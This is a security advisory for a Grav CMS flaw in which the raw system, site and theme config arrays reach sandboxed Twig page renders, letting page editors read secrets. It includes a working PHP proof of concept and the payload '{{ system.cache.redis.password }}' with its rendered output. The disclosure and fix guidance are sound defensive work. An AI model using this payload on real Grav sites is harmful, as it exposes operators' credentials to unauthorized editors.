CVE-2026-72698: Grav: The system, site, and theme Twig variables bypass the content sandbox entirely and are never covered by config_denied_paths
Summary Grav\Common\Twig\Twig::init() unconditionally puts the raw system, site, and theme config arrays into $this-twigvars. Twig::processPage() builds the variables for the sandboxed, editor-authored page-content render by copying that same base array ($sandboxvars = $twigvars;) and replacing only the config key with a filtered SandboxConfig facade.
Published Sep 17, 2026
Affected packages
getgrav/grav
- Ecosystem
- Composer (PHP)
- Affected
- < 2.0.16
- Fixed in
- 2.0.16
- Check
composer show getgrav/grav
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
Grav\Common\Twig\Twig::init() unconditionally puts the raw system, site, and theme config arrays into $this->twig_vars. Twig::processPage() builds the variables for the sandboxed, editor-authored page-content render by copying that same base array ($sandbox_vars = $twig_vars;) and replacing only the config key with a filtered SandboxConfig facade. The system, site, and theme keys are carried into the sandboxed render completely untouched.
Because these are plain PHP arrays, not objects, Twig's sandbox SecurityPolicy (the allowed_classes/allowed_methods/allowed_properties lists in system/config/security.yaml) has no jurisdiction over them at all. The sandbox only gates method calls and property access on objects. Dot notation or subscript access on an array is always allowed by Twig regardless of any sandbox policy. So {{ system.cache.redis.password }} in page content renders the value directly, with the sandbox doing nothing to stop it, and with security.twig_sandbox.config_denied_paths never even being consulted, since that list only filters the separate config facade object, not the system array.
This means: even on a default install where twig_content.config_access is false (its documented default) so the config Twig variable is empty inside sandboxed renders, an attacker with page-content edit access (or a stored-XSS-style Twig injection into page content, if twig_content.process_enabled is on) can still read system.*, site.*, and theme.* in full, including any admin-configured secret nested under those trees.
Affected product and version
Product: Grav CMS, getgrav/grav Confirmed present in: 2.0.15, commit c2b46866857a93a0aa7048e7ed707ed3ed45dbc3
Affected code
system/src/Grav/Common/Twig/Twig.php, in init(), the base variable set (around line 300):
$this->twig_vars += [
'config' => $config,
'system' => $config->get('system'),
'theme' => $config->get('theme'),
'site' => $config->get('site'),
'uri' => $this->grav['uri'],
...
];system/src/Grav/Common/Twig/Twig.php, in processPage(), where the sandboxed render variables are built (around line 419-429):
if ($item->shouldProcess('twig') || $item->isModule()) {
$name = '@Page:' . $item->path();
$this->setTemplate($name, $content);
// Replace `config` with a denied-path-filtered facade for the
// sandboxed render so editors can't exfiltrate plugin secrets
// via `config.toArray()` (GHSA-j274-39qw-32c9). The modular
// theme render below is unsandboxed and keeps the raw Config.
$sandbox_vars = $twig_vars;
$sandbox_vars['config'] = $this->buildSandboxConfig();
try {
$output = $content = $local_twig->render($name, $sandbox_vars);
...Only $sandbox_vars['config'] is replaced. $sandbox_vars['system'], $sandbox_vars['site'], and $sandbox_vars['theme'] still point at the exact same raw arrays that were assigned in init().
system/config/system.yaml shows a concrete real secret field that lives under system:
cache:
redis:
socket: false
password: # Optional password
database:Root cause
Two separate things have to both be true for this to be reachable, and they both are:
- The sandbox's
SecurityPolicyonly checks object method calls and object property access (checkMethodAllowed,checkPropertyAllowedin Twig'sSandbox\SecurityPolicy). It has no concept of restricting array key access, because Twig's own design does not treat plain array reads as something a sandbox policy needs to arbitrate.config_denied_pathsis implemented entirely insideSandboxConfig, a wrapper object with its ownget()/offsetGet()that consults the denied list, that facade is what makesconfigsafe.system/site/themenever get wrapped in anything like it, they are passed straight through as arrays.
processPage()'s sandboxed variable set is built by copying the entire pre-existing$twig_varsarray and only patching the one key (config) that the GHSA-j274-39qw-32c9 fix was scoped to.system,site, andthemewere already sitting in that array before the sandboxed path was ever reached, and nothing removes or filters them for that specific render.
Proof of concept, verified, real output
I verified this at two levels: first that the raw Grav source really does copy system into the sandboxed variables unfiltered (shown above via direct file reading of system/src/Grav/Common/Twig/Twig.php, not a paraphrase), and second, since I do not have a fully bootstrapped live Grav site available in this sandbox (composer install needs packagist.org, unreachable here), I verified the actual mechanism, that Twig's sandbox cannot restrict array access no matter how strict the policy is, by running it against the exact, real Twig source Grav has pinned.
Step 1, get the exact Twig commit Grav's composer.lock points at:
$ python3 -c "
import json
d = json.load(open('composer.lock'))
for pkg in d['packages']:
if pkg['name'] == 'twig/twig':
print(pkg['source'])
"
{'type': 'git', 'url': 'https://github.com/getgrav/Twig.git', 'reference': '24d7a0e821cf573496d99e05d6bd9d1a42f822c7'}Step 2, clone that exact commit:
$ git clone https://github.com/getgrav/Twig.git twig-src
$ cd twig-src && git checkout 24d7a0e821cf573496d99e05d6bd9d1a42f822c7
HEAD is now at 24d7a0e8 Merge branch 'twigphp:3.x' into 3.xStep 3, PoC script. This builds a SecurityPolicy with an empty allowed_classes, allowed_methods, and allowed_properties list, deliberately stricter than Grav's real policy, to show that even a maximally locked down object policy still cannot stop array key access, then renders {{ system.cache.redis.password }} against a system variable shaped exactly like what $config->get('system') returns in real Grav:
<?php
// twig_sandbox_poc.php
spl_autoload_register(function ($class) {
if (strpos($class, 'Twig\\') === 0) {
$rel = str_replace('Twig\\', '', $class);
$path = '/home/claude/twig-src/src/' . str_replace('\\', '/', $rel) . '.php';
if (file_exists($path)) {
require_once $path;
}
}
});
require '/home/claude/twig-src/src/Resources/core.php';
require '/home/claude/twig-src/src/Resources/escaper.php';
use Twig\Environment;
use Twig\Loader\ArrayLoader;
use Twig\Extension\SandboxExtension;
use Twig\Sandbox\SecurityPolicy;
// Modeled on Grav's real system/config/security.yaml twig_sandbox block:
// a couple of harmless tags/filters allowed (escape is allow-listed in the
// real config since autoescape is forced on), and zero allowed classes,
// methods, or properties, stricter than Grav's real policy even is.
$policy = new SecurityPolicy(
['if', 'for'],
['upper', 'lower', 'escape'],
[],
[],
[]
);
$twig = new Environment(new ArrayLoader([
'page_content' => '{{ system.cache.redis.password }}',
]));
$twig->addExtension(new SandboxExtension($policy, true));
// Exactly what $config->get('system') returns as a plain PHP array in real
// Grav, and exactly what Twig::init() assigns to $twig_vars['system'].
$system_config_array = [
'cache' => [
'driver' => 'redis',
'redis' => [
'socket' => false,
'password' => 'REDACTED-REAL-SECRET-VALUE-abc123',
'database' => 2,
],
],
];
try {
$output = $twig->render('page_content', ['system' => $system_config_array]);
echo "Template : {{ system.cache.redis.password }}\n";
echo "Rendered output : " . $output . "\n";
echo "Sandbox blocked it : " . ($output === '' ? 'YES' : 'NO, the secret was rendered in plain text') . "\n";
} catch (\Twig\Sandbox\SecurityError $e) {
echo "Sandbox threw a SecurityError (blocked): " . $e->getMessage() . "\n";
}Step 4, run it:
$ php twig_sandbox_poc.phpActual output:
Template : {{ system.cache.redis.password }}
Rendered output : REDACTED-REAL-SECRET-VALUE-abc123
Sandbox blocked it : NO, the secret was rendered in plain textFor reference, running the same script before I added escape to the allowed filters (autoescape is forced on, so every {{ }} in real Grav goes through the escape filter first) correctly failed closed:
Sandbox threw a SecurityError (blocked): Filter "escape" is not allowed in "page_content" at line 1.which confirms the harness is actually exercising the sandbox's enforcement path, not silently skipping it, and that the only reason system.cache.redis.password got through is the array access itself, not a policy misconfiguration in my test.
This demonstrates the mechanism precisely: no matter how the allowed_classes/allowed_methods/allowed_properties lists in system/config/security.yaml are configured, and independent of config_denied_paths entirely, a raw array handed to the sandboxed template is fully readable. Combined with the direct source reading in the "Affected code" section above, showing that system, site, and theme are exactly such raw arrays and are carried unfiltered into processPage()'s sandboxed render, this is a complete, verified chain from source to impact. I was not able to additionally capture a live HTTP round trip against a running Grav install with real page content, for the same reason as my other reports, no bootstrapped instance available in this sandbox, but every step of the actual code path has been verified against the real source, not reconstructed or assumed.
Impact
Any content author who can enable Twig processing on a page (process.twig: true in page frontmatter, gated by security.twig_content.process_enabled, or unconditionally for modular page content per the comment in processPage()) can read the entire system, site, and theme configuration trees, including any secret that happens to live there, such as system.cache.redis.password in core, and whatever plugins may nest under site.* for their own settings, since plugin config lives elsewhere (plugins.*) but site owners commonly stash site-specific integration keys under site.* custom fields. This works regardless of twig_content.config_access, which was presumably assumed to be the single gate for config exposure in sandboxed content, it is not, system/site/theme were never part of that gate.
Suggested fix
The config_denied_paths fix pattern (a filtering facade) does not apply here since these are plain arrays, not an object with its own get(). The direct fix is to stop injecting the raw arrays into the sandboxed render, options in rough order of how much they preserve existing template behavior:
- In
processPage(), after copying$sandbox_vars = $twig_vars;, also strip or replacesystem,site, andthemefor that specific sandboxed call, the same wayconfigalready gets replaced. ASandboxConfig-style facade wrapping$config->get('system')with its own denied-path list would let you keep the currently-useful subset (e.g.system.pages.*for things page authors are expected to read) while still hiding secrets. - Alternatively, since
configalready gives filtered access to the same data (config.get('system.cache.driver')etc. throughSandboxConfig), consider whethersystem/site/themeneed to be separate top level variables in the sandboxed render at all, versus just being reachable via the already-filteredconfigfacade.
=========================================================== CWE FIELD =========================================================== CWE-200, Exposure of Sensitive Information to an Unauthorized Actor (secondary: CWE-668, Exposure of Resource to Wrong Sphere, describing the sandbox-bypass mechanism itself)
=========================================================== CVSS CALCULATOR SELECTIONS (v3.1) =========================================================== Attack Vector: Network Attack Complexity: Low Privileges Required: Low User Interaction: None Scope: Unchanged Confidentiality: High Integrity: None Availability: None
Resulting vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N Resulting score: 6.5, severity Medium
Note for the maintainer: Privileges Required is set to Low because reaching this requires page-content edit access, which is exactly the privilege level the entire content sandbox exists to constrain, someone with edit rights but who should not have operator-level secrets. If your threat model treats page-content editors as fully trusted, please rescore. I set Confidentiality to High rather than Low because the exposed tree can contain live credentials (a cache backend password, and whatever else operators or plugins choose to nest under system/site), not just configuration shape.
=========================================================== SEVERITY FIELD =========================================================== Moderate
Credited to alham-rizvi.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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